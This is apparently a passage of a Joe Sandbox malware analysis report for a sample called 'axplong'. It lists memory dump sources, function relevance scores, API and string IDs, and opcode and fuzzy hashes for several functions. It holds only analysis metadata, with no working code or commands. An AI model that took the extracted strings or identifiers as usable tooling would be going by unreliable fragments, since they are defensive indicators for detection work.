                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
                        • Instruction ID: 2264d4c88a20cd895411348d69057135fc4fae405116e94c37dac0775ea6bb8c
                        • Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
                        • Instruction Fuzzy Hash: B3E0B672955228EBCB15DB9D8944D8AF2ACEB49B50F554496B501D3251C270DF00C7E1
                        Function 00D22E20 Relevance: 17.9, APIs: 3, Strings: 7, Instructions: 434COMMON
                        Download Yara Rule
                        Strings
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID: 246122658369$8KG0fymoFx==$Fz==$HBhr$WGt=$invalid stoi argument$stoi argument out of range
                        • API String ID: 0-2390467879
                        • Opcode ID: b763b480ee1d350559226ddf8f929d04afef319283d3925a234ff750ad0d54d5
                        • Instruction ID: 39a139ba61a666d5f200eeeddb0ba9fe0a2ccae506a88a27a9b9c6c988e3662e
                        • Opcode Fuzzy Hash: b763b480ee1d350559226ddf8f929d04afef319283d3925a234ff750ad0d54d5
                        • Instruction Fuzzy Hash: 61021470D00258EFEF24EFA8D845BDEBBB5EF15308F504158E805A7282D7799A84CBB1
                        Function 00D470C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON
                        Download Yara Rule
                        APIs
                        Strings
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID: _wcsrchr
                        • String ID: .bat$.cmd$.com$.exe
                        • API String ID: 1752292252-4019086052
                        • Opcode ID: 115dfcf772d6a17488c916b8e8ba6f225ba177a2bcb34fb5e0c8ffd4817c9763
                        • Instruction ID: bafdc0a4f911853b8eac42884e4cc69ff59e5ecd4084e0a940aa2799be40a54d
                        • Opcode Fuzzy Hash: 115dfcf772d6a17488c916b8e8ba6f225ba177a2bcb34fb5e0c8ffd4817c9763
                        • Instruction Fuzzy Hash: E301F937B08716276618641D9C0263B1798DB92BB472D002BFD48F73C2EF45DC0641B0
                        Function 00D12E80 Relevance: 7.8, APIs: 5, Instructions: 272COMMON
                        Download Yara Rule
                        APIs
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID: Mtx_unlock$Cnd_broadcast
                        • String ID:
                        • API String ID: 32384418-0
                        • Opcode ID: 70bde6c4f4e820a6436cff795f6c8e8a36d478c4d0157261767243403a382f7c
                        • Instruction ID: f33c29fc5e19a31418a1e3b63a1bcdcd162204ce9b9963388746c6349cd141aa
                        • Opcode Fuzzy Hash: 70bde6c4f4e820a6436cff795f6c8e8a36d478c4d0157261767243403a382f7c
                        • Instruction Fuzzy Hash: 81A1F3B0A00315AFDB11DF65E8457AAB7F8FF15314F084129E815D7281EB31EA94CBB1
                        Function 00D4C9B0 Relevance: 6.3, APIs: 4, Instructions: 320COMMON
                        Download Yara Rule
                        APIs
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID: _strrchr
                        • String ID:
                        • API String ID: 3213747228-0
                        • Opcode ID: 06cc7c729825ef3726f3ff46e89b4dfb23933aad1dd17f016a943cdb57bb7414
                        • Instruction ID: de6250ac8536da2ab1f3a9f089e2c54f3ad833dc1f7aff8902a432c2a80ca95a
                        • Opcode Fuzzy Hash: 06cc7c729825ef3726f3ff46e89b4dfb23933aad1dd17f016a943cdb57bb7414
                        • Instruction Fuzzy Hash: 10B14C32A222459FDB15CF28C8827BEBBF5EF55340F1891AAD885EB341D6349D41CB70
                        Function 00D2BAA2 Relevance: 6.1, APIs: 4, Instructions: 80COMMON
                        Download Yara Rule
                        APIs
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID: Xtime_diff_to_millis2_xtime_get
                        • String ID:
                        • API String ID: 531285432-0
                        • Opcode ID: 4051508c5dc29552be1460779c79991f8e619a8360af0dbb3be8cfd8dc743598
                        • Instruction ID: 1b82d61268b72743cc10981cf8a50995419e0b0ced5c4abc12e1c54eefa58f0a
                        • Opcode Fuzzy Hash: 4051508c5dc29552be1460779c79991f8e619a8360af0dbb3be8cfd8dc743598
                        • Instruction Fuzzy Hash: F6213271E112299FDF10EFA4EC419BEBBB8EF58718F100066F501A7251DB70AD418BB1